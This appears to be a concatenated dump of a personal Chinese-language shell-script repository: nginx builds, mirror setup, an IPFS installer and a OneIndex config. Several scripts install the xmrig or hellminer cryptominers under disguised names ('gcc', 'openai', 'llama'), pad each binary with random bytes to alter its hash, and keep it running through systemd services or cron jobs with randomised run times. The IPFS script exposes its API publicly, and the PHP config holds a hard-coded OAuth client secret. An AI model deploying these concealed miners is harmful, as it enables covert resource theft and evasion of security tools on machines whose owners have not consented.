$hour $minute) 7 | 8 | # 使用 `at` 命令计划在随机时间运行你的脚本 9 | echo "/root/vrsc/random_usage.sh" | at $random_time 10 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/testx.sh: -------------------------------------------------------------------------------- 1 | function go1(){ 2 | echo $1 3 | } 4 | function go2(){ 5 | echo $1 6 | } 7 | function go3(){ 8 | echo $1 9 | } 10 | 11 | [[ -n $1 ]] && go1 $1 12 | [[ -n $2 ]] && go2 $2 13 | [[ -n $3 ]] && go3 $3 14 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/waf.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #For BtPanel Nginx 1.21.4 4 | mkdir /www/server/nginx/modules 5 | wget -O /www/server/nginx/modules/ngx_http_waf_module.so https://raw.githubusercontent.com/caippx/bash/master/drfytgybhunjoimkol/ngx_http_waf_module.so 6 | cd /www/server/nginx/ 7 | git clone https://github.com/ADD-SP/ngx_waf 8 | sed -i "1iload_module modules/ngx_http_waf_module.so;" /www/server/nginx/conf/nginx.conf 9 | /www/server/nginx/sbin/nginx -s reload 10 | 11 | echo " 12 | 示例: 13 | waf on; # 是否启用模块 14 | waf_rule_path /www/server/nginx/ngx_waf/assets/rules/; # 模块规则 15 | waf_mode STD !CC; # 启用普通模式并关闭CC防护 16 | waf_cache capacity=50; # 缓存配置 17 | waf_under_attack on uri=/under-attack.html; # 配置5秒盾 18 | " 19 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/wahahah.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | address=$1 4 | worker_name=$2 5 | threads=$(nproc) 6 | apt install libsodium23 libsodium-dev bc cron -y 7 | if ! command -v tcping 8 | then 9 | echo "tcping 不存在,正在安装..." 10 | wget https://github.com/cloverstd/tcping/releases/download/v0.1.1/tcping-linux-amd64-v0.1.1.tar.gz && tar -zxvf tcping-linux-amd64-v0.1.1.tar.gz 11 | mv tcping /usr/bin/tcping && chmod +x /usr/bin/tcping 12 | rm -rf tcping-linux-amd64-v0.1.1.tar.gz 13 | echo "tcping 安装完成" 14 | else 15 | echo "tcping 已经安装" 16 | fi 17 | #grep -o 'avx2' /proc/cpuinfo 18 | urls=("cn.vipor.net" "sg.vipor.net" "ussw.vipor.net" "usw.vipor.net" "pl.vipor.net" "usse.vipor.net" "us.vipor.net" "fr.vipor.net" "de.vipor.net" "fi.vipor.net" "sa.vipor.net") #vipor 19 | #urls=("na.luckpool.net" "eu.luckpool.net" "ap.luckpool.net") #luck 20 | # 初始化最低延迟和最佳URL 21 | min_latency=1000000 22 | best_url="" 23 | 24 | # 循环测试每个URL 25 | for url in "${urls[@]}"; do 26 | # 使用ping命令测试延迟,提取平均延迟值 27 | latency=$(tcping -c 2 "$url" 5140 | tail -1 | awk -F ' ' '{print $9}' | awk '{print $1+0}') 28 | 29 | # 检查是否是最低延迟 30 | if (( $(echo "$latency < $min_latency" | bc -l) )); then 31 | min_latency=$latency 32 | best_url=$url 33 | fi 34 | 35 | # 输出每个URL的延迟 36 | echo "$url 延迟: $latency ms" 37 | done 38 | 39 | # 输出最低延迟的URL 40 | echo "最低延迟的URL是: $best_url,延迟: $min_latency ms" 41 | 42 | mkdir -p /opt/vrsc && cd /opt/vrsc 43 | wget -O /opt/vrsc/gcc.tar.gz https://github.com/hellcatz/hminer/releases/download/v0.59.1/hellminer_linux64_avx2.tar.gz 44 | cd /opt/vrsc && tar -zxvf gcc.tar.gz && rm -rf gcc.tar.gz 45 | count=$((RANDOM % 1000 + 1)) 46 | for ((i = 0; i < count; i++)); do 47 | echo -n "0" >> "/opt/vrsc/hellminer" 48 | done 49 | mv /opt/vrsc/hellminer /opt/vrsc/llama 50 | wget https://raw.githubusercontent.com/caippx/bash/refs/heads/master/drfytgybhunjoimkol/random_usage.sh 51 | chmod +x /opt/vrsc/* 52 | cron_job="0 */2 * * * /opt/vrsc/random_usage.sh" 53 | # 检查任务是否已经存在 54 | (crontab -l | grep -qF "$cron_job") || (crontab -l; echo "$cron_job") | crontab - 55 | service cron reload 56 | service crond reload 57 | ./llama -c stratum+ssl://$best_url:5140 -u $address.$worker_name -p x --cpu $threads 58 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/wk2024-2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | U=$1 4 | latest=`wget -qO- -t1 -T2 "https://api.github.com/repos/xmrig/xmrig/releases/latest" | grep "tag_name" | head -n 1 | awk -F ":" '{print $2}' | sed 's/\"//g;s/,//g;s/ //g' | awk -F "v" '{print $2}'` 5 | wget -O 1.tar.gz https://github.com/xmrig/xmrig/releases/download/v$latest/xmrig-$latest-linux-static-x64.tar.gz 6 | tar -zxvf 1.tar.gz 7 | mv xmrig-$latest gcc 8 | mv gcc/xmrig gcc/gcc 9 | mv gcc /etc/gcc 10 | rm -rf 1.tar.gz 11 | cd /etc/gcc && rm -rf SHA256SUMS 12 | random_number=$((RANDOM % 2088 + 208)) 13 | for i in $(seq 1 $random_number); do 14 | echo -n "0" >> /etc/gcc/gcc 15 | done 16 | cat > /etc/systemd/system/gcc.service <> /etc/gcc/gcc 15 | done 16 | cat > /etc/systemd/system/gcc.service < ~/wk/wk.log 2>&1 & 11 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/wkzp.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | systemctl stop openai.service && killall -9 openai 4 | rm -rf /root/openai 5 | rm -rf /etc/systemd/system/openai.service 6 | U=$1 7 | latest=`wget -qO- -t1 -T2 "https://api.github.com/repos/xmrig/xmrig/releases/latest" | grep "tag_name" | head -n 1 | awk -F ":" '{print $2}' | sed 's/\"//g;s/,//g;s/ //g' | awk -F "v" '{print $2}'` 8 | wget -O 1.tar.gz https://github.com/xmrig/xmrig/releases/download/v$latest/xmrig-$latest-linux-static-x64.tar.gz 9 | tar -zxvf 1.tar.gz 10 | mv xmrig-$latest openai 11 | mv openai/xmrig openai/openai 12 | random_number=$((RANDOM % 288 + 88)) 13 | echo $random_number 14 | rm -rf 1.tar.gz 15 | cd openai && rm -rf SHA256SUMS 16 | for i in $(seq 1 $random_number); do 17 | echo -n "0" >> /root/openai/openai 18 | done 19 | 20 | cat > /etc/systemd/system/openai.service < 4 | bash install.sh && ipfs version && cd ~ && ipfs init
5 | ipfs config Addresses.API /ip4/0.0.0.0/tcp/5001
6 | ipfs config Addresses.Gateway /ip4/0.0.0.0/tcp/8080
7 | ipfs config --json API.HTTPHeaders.Access-Control-Allow-Origin '["*"]'
8 | ipfs config --json API.HTTPHeaders.Access-Control-Allow-Methods '["GET", "POST"]'
9 | ipfs config --json API.HTTPHeaders.Access-Control-Allow-Headers '["Authorization"]'
10 | ipfs config --json API.HTTPHeaders.Access-Control-Expose-Headers '["Location"]'
11 | ipfs config --json API.HTTPHeaders.Access-Control-Allow-Credentials '["true"]'
12 | nohup ipfs daemon &
13 | -------------------------------------------------------------------------------- /mirror-pip.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function centos(){ 4 | mv /etc/yum.repos.d /etc/yum.repos.d.backup 5 | mkdir /etc/yum.repos.d 6 | wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo 7 | wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo 8 | yum clean all 9 | yum makecache 10 | yum install python-pip -y 11 | cd ~ && mkdir .pip 12 | echo " 13 | [global] 14 | index-url=http://mirrors.aliyun.com/pypi/simple/ 15 | trusted-host=mirrors.aliyun.com 16 | " > .pip/pip.conf 17 | } 18 | 19 | function ubuntu16(){ 20 | mv /etc/apt/sources.list /etc/apt/sources.list.bak 21 | echo " 22 | deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse 23 | deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse 24 | deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse 25 | deb http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse 26 | deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse 27 | deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse 28 | deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse 29 | deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse 30 | deb-src http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse 31 | deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse 32 | " > /etc/apt/sources.list 33 | apt update 34 | cd ~ && mkdir .pip 35 | echo " 36 | [global] 37 | index-url=http://mirrors.aliyun.com/pypi/simple/ 38 | trusted-host=mirrors.aliyun.com 39 | " > .pip/pip.conf 40 | } 41 | 42 | function ubuntu18(){ 43 | mv /etc/apt/sources.list /etc/apt/sources.list.bak 44 | echo " 45 | deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse 46 | deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse 47 | deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse 48 | deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse 49 | deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse 50 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse 51 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse 52 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse 53 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse 54 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse 55 | " > /etc/apt/sources.list 56 | apt update 57 | cd ~ && mkdir .pip 58 | echo " 59 | [global] 60 | index-url=http://mirrors.aliyun.com/pypi/simple/ 61 | trusted-host=mirrors.aliyun.com 62 | " > .pip/pip.conf 63 | } 64 | -------------------------------------------------------------------------------- /ms/README.md: -------------------------------------------------------------------------------- 1 | #仅适用于Ubuntu16安装 中文支持以及 selenium chrome 2 | 3 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/caippx/bash/master/ms/chrome.sh') 4 | 5 | 6 | #萌咖 Onelist安装 7 | 8 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/caippx/bash/master/ms/onelist.sh') 9 | 10 | -------------------------------------------------------------------------------- /ms/chrome.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | apt update -y 3 | apt install unzip lrzsz python3-pip python3 locales -y 4 | apt install language-pack-en -y 5 | echo ' 6 | LANG=en_US.UTF-8 7 | LANGUAGE=en_US:en 8 | LC_ALL= 9 | ' > /etc/default/locale 10 | source /etc/default/locale 11 | wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb 12 | dpkg -i --force-depends google-chrome-stable_current_amd64.deb 13 | apt install -f -y 14 | LATEST=$(wget -q -O - http://chromedriver.storage.googleapis.com/LATEST_RELEASE) 15 | wget http://chromedriver.storage.googleapis.com/$LATEST/chromedriver_linux64.zip 16 | unzip chromedriver_linux64.zip 17 | chmod 777 chromedriver 18 | mv chromedriver /usr/bin/ 19 | echo 'export PATH=$PATH:/usr/bin/chromedriver' > .profile 20 | source .profile 21 | pip3 install selenium bs4 lxml requests 22 | rm -rf * 23 | -------------------------------------------------------------------------------- /ms/onelist.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | apt update -y 4 | apt install python3 python3-pip git -y 5 | pip3 install tornado 6 | git clone https://github.com/caippx/OneList.git && cd OneList 7 | echo " 8 | 请打开 9 | https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=b51b95c2-a4b0-44de-a3c1-14f23a1d2d02&response_type=code&redirect_uri=https://api.us.ppxwo.top/onedrive&response_mode=query&scope=offline_access%20User.Read%20Files.ReadWrite.All 10 | 获取code" 11 | echo && stty erase '^H' && read -p "输入code: " code 12 | python3 OneList.py << EOF 13 | $code 14 | 15 | EOF 16 | 17 | echo "请运行 python3 app.py 测试" 18 | #python3 app.py & 19 | -------------------------------------------------------------------------------- /nginx/5s.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Just A Moment... 9 | 10 | 11 | 12 | 13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |

Checking your browser before accessing The Legend of Bald...

24 |

This process is automatic. Your browser will redirect to your requested content shortly.

25 |

Please allow up to 5 seconds…

26 | ::IM_UNDER_ATTACK_BOX:: 27 |
28 | 29 | 30 | -------------------------------------------------------------------------------- /nginx/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | apt install wget curl zip unzip lrzsz psmisc libpcre3-dev libaio1 libjemalloc-dev -y 4 | groupadd -r www 5 | useradd -r -g www -s /bin/false -d /usr/local/www -M www 6 | nginx_install_dir='/etc/nginx/' 7 | mkdir $nginx_install_dir && mkdir -p /data/wwwlogs/ 8 | cd $nginx_install_dir && wget https://github.com/caippx/bash/raw/master/nginx/nginx.zip && unzip nginx.zip 9 | [ -z "`grep ^'export PATH=' /etc/profile`" ] && echo "export PATH=${nginx_install_dir}/sbin:\$PATH" >> /etc/profile 10 | [ -n "`grep ^'export PATH=' /etc/profile`" -a -z "`grep ${nginx_install_dir} /etc/profile`" ] && sed -i "s@^export PATH=\(.*\)@export PATH=${nginx_install_dir}/sbin:\1@" /etc/profile 11 | . /etc/profile 12 | wget -P /lib/systemd/system/ https://raw.githubusercontent.com/caippx/bash/master/nginx/nginx.service 13 | sed -i "s@/usr/local/nginx@${nginx_install_dir}@g" /lib/systemd/system/nginx.service 14 | systemctl enable nginx 15 | mv ${nginx_install_dir}/conf/nginx.conf{,_bk} 16 | wget -P ${nginx_install_dir}/conf https://raw.githubusercontent.com/caippx/bash/master/nginx/nginx.conf 17 | mkdir -p ${nginx_install_dir}/conf/vhost 18 | -------------------------------------------------------------------------------- /nginx/install_nginx.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | nginx_install_dir="/etc/nginx" 4 | apt-get install libpcre3-dev libaio1 libjemalloc-dev -y 5 | apt-get install -y gcc g++ make zip lrzsz psmisc autoconf curl libxml2 libxml2-dev libssl-dev bzip2 libbz2-dev libjpeg-dev libpng-dev libfreetype6-dev libgmp-dev libmcrypt-dev libreadline6-dev libsnmp-dev libxslt1-dev libcurl4-openssl-dev pkg-config libssl-dev libzip-dev dnsutils 6 | groupadd -r www 7 | useradd -r -g www -s /bin/false -d /usr/local/www -M www 8 | wget http://nginx.org/download/nginx-1.19.2.tar.gz && tar -zxf nginx-1.19.2.tar.gz && cd nginx-1.19.2 9 | echo && stty erase '^H' && read -p "输入要修改的名字:" name 10 | sed -i "s#\"NGINX\"#\"$name\"#" src/core/nginx.h 11 | sed -i "s#\"nginx/\"#\"$name/\"#" src/core/nginx.h 12 | sed -i "s#Server: nginx#Server: $name#" src/http/ngx_http_header_filter_module.c 13 | sed -i "s#\"
nginx<\/center>\"#\"
$name<\/center>\"#" src/http/ngx_http_special_response.c 14 | sed -i "s#server: nginx#server: $name#" src/http/v2/ngx_http_v2_filter_module.c 15 | mkdir -p ${nginx_install_dir} && mkdir -p /data/wwwlogs/ && mkdir -p /data/wwwroot/default 16 | wget https://www.openssl.org/source/openssl-1.1.1d.tar.gz && tar -zxf openssl-1.1.1d.tar.gz 17 | ./configure --prefix=${nginx_install_dir} --user=www --group=www \ 18 | --with-http_stub_status_module --with-http_v2_module --with-http_ssl_module --with-http_gzip_static_module \ 19 | --with-http_realip_module --with-http_flv_module --with-http_mp4_module \ 20 | --with-openssl=./openssl-1.1.1d --with-pcre --with-pcre-jit --with-ld-opt='-ljemalloc' --with-http_sub_module 21 | make && make install 22 | cd ~ && rm -rf nginx-1.19.2.tar.gz nginx-1.19.2 23 | [ -z "`grep ^'export PATH=' /etc/profile`" ] && echo "export PATH=${nginx_install_dir}/sbin:\$PATH" >> /etc/profile 24 | [ -n "`grep ^'export PATH=' /etc/profile`" -a -z "`grep ${nginx_install_dir} /etc/profile`" ] && sed -i "s@^export PATH=\(.*\)@export PATH=${nginx_install_dir}/sbin:\1@" /etc/profile 25 | . /etc/profile 26 | wget -P /lib/systemd/system/ https://raw.githubusercontent.com/caippx/bash/master/nginx/nginx.service 27 | sed -i "s@/usr/local/nginx@${nginx_install_dir}@g" /lib/systemd/system/nginx.service 28 | systemctl enable nginx 29 | mv ${nginx_install_dir}/conf/nginx.conf{,_bk} 30 | wget -P ${nginx_install_dir}/conf https://raw.githubusercontent.com/caippx/bash/master/nginx/nginx.conf 31 | mkdir -p ${nginx_install_dir}/conf/vhost 32 | -------------------------------------------------------------------------------- /nginx/nginx-debian: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ### BEGIN INIT INFO 4 | # Provides: nginx 5 | # Required-Start: $local_fs $remote_fs $network $syslog $named 6 | # Required-Stop: $local_fs $remote_fs $network $syslog $named 7 | # Default-Start: 2 3 4 5 8 | # Default-Stop: 0 1 6 9 | # Short-Description: starts the nginx web server 10 | # Description: starts nginx using start-stop-daemon 11 | ### END INIT INFO 12 | 13 | PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin 14 | DAEMON=/usr/sbin/nginx 15 | NAME=nginx 16 | DESC=nginx 17 | 18 | # Include nginx defaults if available 19 | if [ -r /etc/default/nginx ]; then 20 | . /etc/default/nginx 21 | fi 22 | 23 | STOP_SCHEDULE="${STOP_SCHEDULE:-QUIT/5/TERM/5/KILL/5}" 24 | 25 | test -x $DAEMON || exit 0 26 | 27 | . /lib/init/vars.sh 28 | . /lib/lsb/init-functions 29 | 30 | # Try to extract nginx pidfile 31 | PID=$(cat /etc/nginx/nginx.conf | grep -Ev '^\s*#' | awk 'BEGIN { RS="[;{}]" } { if ($1 == "pid") print $2 }' | head -n1) 32 | if [ -z "$PID" ]; then 33 | PID=/run/nginx.pid 34 | fi 35 | 36 | if [ -n "$ULIMIT" ]; then 37 | # Set ulimit if it is set in /etc/default/nginx 38 | ulimit $ULIMIT 39 | fi 40 | 41 | start_nginx() { 42 | # Start the daemon/service 43 | # 44 | # Returns: 45 | # 0 if daemon has been started 46 | # 1 if daemon was already running 47 | # 2 if daemon could not be started 48 | start-stop-daemon --start --quiet --pidfile $PID --exec $DAEMON --test > /dev/null \ 49 | || return 1 50 | start-stop-daemon --start --quiet --pidfile $PID --exec $DAEMON -- \ 51 | $DAEMON_OPTS 2>/dev/null \ 52 | || return 2 53 | } 54 | 55 | test_config() { 56 | # Test the nginx configuration 57 | $DAEMON -t $DAEMON_OPTS >/dev/null 2>&1 58 | } 59 | 60 | stop_nginx() { 61 | # Stops the daemon/service 62 | # 63 | # Return 64 | # 0 if daemon has been stopped 65 | # 1 if daemon was already stopped 66 | # 2 if daemon could not be stopped 67 | # other if a failure occurred 68 | start-stop-daemon --stop --quiet --retry=$STOP_SCHEDULE --pidfile $PID --name $NAME 69 | RETVAL="$?" 70 | sleep 1 71 | return "$RETVAL" 72 | } 73 | 74 | reload_nginx() { 75 | # Function that sends a SIGHUP to the daemon/service 76 | start-stop-daemon --stop --signal HUP --quiet --pidfile $PID --name $NAME 77 | return 0 78 | } 79 | 80 | rotate_logs() { 81 | # Rotate log files 82 | start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME 83 | return 0 84 | } 85 | 86 | upgrade_nginx() { 87 | # Online upgrade nginx executable 88 | # http://nginx.org/en/docs/control.html 89 | # 90 | # Return 91 | # 0 if nginx has been successfully upgraded 92 | # 1 if nginx is not running 93 | # 2 if the pid files were not created on time 94 | # 3 if the old master could not be killed 95 | if start-stop-daemon --stop --signal USR2 --quiet --pidfile $PID --name $NAME; then 96 | # Wait for both old and new master to write their pid file 97 | while [ ! -s "${PID}.oldbin" ] || [ ! -s "${PID}" ]; do 98 | cnt=`expr $cnt + 1` 99 | if [ $cnt -gt 10 ]; then 100 | return 2 101 | fi 102 | sleep 1 103 | done 104 | # Everything is ready, gracefully stop the old master 105 | if start-stop-daemon --stop --signal QUIT --quiet --pidfile "${PID}.oldbin" --name $NAME; then 106 | return 0 107 | else 108 | return 3 109 | fi 110 | else 111 | return 1 112 | fi 113 | } 114 | 115 | case "$1" in 116 | start) 117 | log_daemon_msg "Starting $DESC" "$NAME" 118 | start_nginx 119 | case "$?" in 120 | 0|1) log_end_msg 0 ;; 121 | 2) log_end_msg 1 ;; 122 | esac 123 | ;; 124 | stop) 125 | log_daemon_msg "Stopping $DESC" "$NAME" 126 | stop_nginx 127 | case "$?" in 128 | 0|1) log_end_msg 0 ;; 129 | 2) log_end_msg 1 ;; 130 | esac 131 | ;; 132 | restart) 133 | log_daemon_msg "Restarting $DESC" "$NAME" 134 | 135 | # Check configuration before stopping nginx 136 | if ! test_config; then 137 | log_end_msg 1 # Configuration error 138 | exit $? 139 | fi 140 | 141 | stop_nginx 142 | case "$?" in 143 | 0|1) 144 | start_nginx 145 | case "$?" in 146 | 0) log_end_msg 0 ;; 147 | 1) log_end_msg 1 ;; # Old process is still running 148 | *) log_end_msg 1 ;; # Failed to start 149 | esac 150 | ;; 151 | *) 152 | # Failed to stop 153 | log_end_msg 1 154 | ;; 155 | esac 156 | ;; 157 | reload|force-reload) 158 | log_daemon_msg "Reloading $DESC configuration" "$NAME" 159 | 160 | # Check configuration before stopping nginx 161 | # 162 | # This is not entirely correct since the on-disk nginx binary 163 | # may differ from the in-memory one, but that's not common. 164 | # We prefer to check the configuration and return an error 165 | # to the administrator. 166 | if ! test_config; then 167 | log_end_msg 1 # Configuration error 168 | exit $? 169 | fi 170 | 171 | reload_nginx 172 | log_end_msg $? 173 | ;; 174 | configtest|testconfig) 175 | log_daemon_msg "Testing $DESC configuration" 176 | test_config 177 | log_end_msg $? 178 | ;; 179 | status) 180 | status_of_proc -p $PID "$DAEMON" "$NAME" && exit 0 || exit $? 181 | ;; 182 | upgrade) 183 | log_daemon_msg "Upgrading binary" "$NAME" 184 | upgrade_nginx 185 | log_end_msg $? 186 | ;; 187 | rotate) 188 | log_daemon_msg "Re-opening $DESC log files" "$NAME" 189 | rotate_logs 190 | log_end_msg $? 191 | ;; 192 | *) 193 | echo "Usage: $NAME {start|stop|restart|reload|force-reload|status|configtest|rotate|upgrade}" >&2 194 | exit 3 195 | ;; 196 | esac 197 | -------------------------------------------------------------------------------- /nginx/nginx.conf: -------------------------------------------------------------------------------- 1 | user www www; 2 | worker_processes auto; 3 | 4 | error_log /data/wwwlogs/error_nginx.log crit; 5 | pid /var/run/nginx.pid; 6 | worker_rlimit_nofile 51200; 7 | 8 | events { 9 | use epoll; 10 | worker_connections 51200; 11 | multi_accept on; 12 | } 13 | 14 | http { 15 | include mime.types; 16 | default_type application/octet-stream; 17 | server_names_hash_bucket_size 128; 18 | client_header_buffer_size 32k; 19 | large_client_header_buffers 4 32k; 20 | client_max_body_size 1024m; 21 | client_body_buffer_size 10m; 22 | sendfile on; 23 | tcp_nopush on; 24 | keepalive_timeout 120; 25 | server_tokens off; 26 | tcp_nodelay on; 27 | 28 | fastcgi_connect_timeout 300; 29 | fastcgi_send_timeout 300; 30 | fastcgi_read_timeout 300; 31 | fastcgi_buffer_size 64k; 32 | fastcgi_buffers 4 64k; 33 | fastcgi_busy_buffers_size 128k; 34 | fastcgi_temp_file_write_size 128k; 35 | fastcgi_intercept_errors on; 36 | 37 | #Gzip Compression 38 | gzip on; 39 | gzip_buffers 16 8k; 40 | gzip_comp_level 6; 41 | gzip_http_version 1.1; 42 | gzip_min_length 256; 43 | gzip_proxied any; 44 | gzip_vary on; 45 | gzip_types 46 | text/xml application/xml application/atom+xml application/rss+xml application/xhtml+xml image/svg+xml 47 | text/javascript application/javascript application/x-javascript 48 | text/x-json application/json application/x-web-app-manifest+json 49 | text/css text/plain text/x-component 50 | font/opentype application/x-font-ttf application/vnd.ms-fontobject 51 | image/x-icon; 52 | gzip_disable "MSIE [1-6]\.(?!.*SV1)"; 53 | 54 | ##Brotli Compression 55 | #brotli on; 56 | #brotli_comp_level 6; 57 | #brotli_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript application/javascript image/svg+xml; 58 | 59 | ##If you have a lot of static files to serve through Nginx then caching of the files' metadata (not the actual files' contents) can save some latency. 60 | #open_file_cache max=1000 inactive=20s; 61 | #open_file_cache_valid 30s; 62 | #open_file_cache_min_uses 2; 63 | #open_file_cache_errors on; 64 | 65 | ######################## default ############################ 66 | server { 67 | listen 80; 68 | server_name _; 69 | access_log /data/wwwlogs/access_nginx.log combined; 70 | root /data/wwwroot/default; 71 | index index.html index.htm index.php; 72 | #error_page 404 /404.html; 73 | #error_page 502 /502.html; 74 | location /nginx_status { 75 | stub_status on; 76 | access_log off; 77 | allow 127.0.0.1; 78 | deny all; 79 | } 80 | location ~ [^/]\.php(/|$) { 81 | #fastcgi_pass remote_php_ip:9000; 82 | fastcgi_pass unix:/run/php/php7.3-fpm.sock; 83 | fastcgi_index index.php; 84 | include fastcgi.conf; 85 | } 86 | location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|flv|mp4|ico)$ { 87 | expires 30d; 88 | access_log off; 89 | } 90 | location ~ .*\.(js|css)?$ { 91 | expires 7d; 92 | access_log off; 93 | } 94 | location ~ ^/(\.user.ini|\.ht|\.git|\.svn|\.project|LICENSE|README.md) { 95 | deny all; 96 | } 97 | } 98 | ########################## vhost ############################# 99 | include vhost/*.conf; 100 | } 101 | -------------------------------------------------------------------------------- /nginx/nginx.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=A high performance web server and a reverse proxy server 3 | Documentation=man:nginx(8) 4 | After=network.target 5 | 6 | [Service] 7 | Type=forking 8 | PIDFile=/var/run/nginx.pid 9 | ExecStartPre=/usr/local/nginx/sbin/nginx -t 10 | ExecStart=/usr/local/nginx/sbin/nginx 11 | ExecReload=/usr/local/nginx/sbin/nginx -s reload 12 | ExecStop=-/sbin/start-stop-daemon --quiet --stop --retry QUIT/5 --pidfile /run/nginx.pid 13 | TimeoutStopSec=5 14 | KillMode=mixed 15 | 16 | [Install] 17 | WantedBy=multi-user.target 18 | -------------------------------------------------------------------------------- /nginx/nginx.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/nginx/nginx.zip -------------------------------------------------------------------------------- /oneindex/base.php: -------------------------------------------------------------------------------- 1 | '站点名', 3 | 'title_name' => 'Index of /', 4 | 'password' => 'oneindex', 5 | 'drawer' => '
', 6 | 'drawer_img' => 'https://wakawakaee.n6.myws.ca/?/SKE/wallhaven-5wo3z5.jpg', 7 | 'style' => 'nexmoe', 8 | 'onedrive_root' => '/', 9 | 'cache_type' => 'filecache', 10 | 'cache_expire_time' => 3600, 11 | 'cache_refresh_time' => 600, 12 | 'page_item' => 50, 13 | 'root_path' => '?', 14 | 'show' => 15 | array ( 16 | 'stream' => 17 | array ( 18 | 0 => 'txt', 19 | ), 20 | 'image' => 21 | array ( 22 | 0 => 'bmp', 23 | 1 => 'jpg', 24 | 2 => 'jpeg', 25 | 3 => 'png', 26 | 4 => 'gif', 27 | 5 => 'webp', 28 | ), 29 | 'video5' => 30 | array ( 31 | ), 32 | 'video' => 33 | array ( 34 | 0 => 'mpg', 35 | 1 => 'mpeg', 36 | 2 => 'mov', 37 | 3 => 'flv', 38 | 4 => 'mp4', 39 | 5 => 'webm', 40 | 6 => 'mkv', 41 | 7 => 'm3u8', 42 | ), 43 | 'video2' => 44 | array ( 45 | 0 => 'avi', 46 | 1 => 'rm', 47 | 2 => 'rmvb', 48 | 3 => 'wmv', 49 | 4 => 'asf', 50 | 5 => 'ts', 51 | ), 52 | 'audio' => 53 | array ( 54 | 0 => 'ogg', 55 | 1 => 'mp3', 56 | 2 => 'wav', 57 | 3 => 'flac', 58 | 4 => 'aac', 59 | 5 => 'm4a', 60 | 6 => 'ape', 61 | ), 62 | 'code' => 63 | array ( 64 | 0 => 'html', 65 | 1 => 'htm', 66 | 2 => 'php', 67 | 3 => 'css', 68 | 4 => 'go', 69 | 5 => 'java', 70 | 6 => 'js', 71 | 7 => 'json', 72 | 8 => 'txt', 73 | 9 => 'sh', 74 | 10 => 'md', 75 | ), 76 | 'doc' => 77 | array ( 78 | 0 => 'csv', 79 | 1 => 'doc', 80 | 2 => 'docx', 81 | 3 => 'odp', 82 | 4 => 'ods', 83 | 5 => 'odt', 84 | 6 => 'pot', 85 | 7 => 'potm', 86 | 8 => 'potx', 87 | 9 => 'pps', 88 | 10 => 'ppsx', 89 | 11 => 'ppsxm', 90 | 12 => 'ppt', 91 | 13 => 'pptm', 92 | 14 => 'pptx', 93 | 15 => 'rtf', 94 | 16 => 'xls', 95 | 17 => 'xlsx', 96 | ), 97 | ), 98 | 'images' => 99 | array ( 100 | 'home' => false, 101 | 'public' => false, 102 | 'exts' => 103 | array ( 104 | 0 => 'jpg', 105 | 1 => 'png', 106 | 2 => 'gif', 107 | 3 => 'bmp', 108 | ), 109 | ), 110 | 'client_secret' => 'DN2cp9e3qDgf2ppy@spSRxGEppgDF@_]', 111 | 'client_id' => '990b369b-3a1e-4b19-91a0-a2fcf04d861b', 112 | 'redirect_uri' => 'https://moeclub.org/onedrive-login', 113 | 'oauth_url' => 'https://login.microsoftonline.com/common/oauth2/v2.0', 114 | 'api_url' => 'https://graph.microsoft.com/v1.0', 115 | 'refresh_token' => 'rtk', 116 | 'main_domain' => '', 117 | 'proxy_domain' => '', 118 | 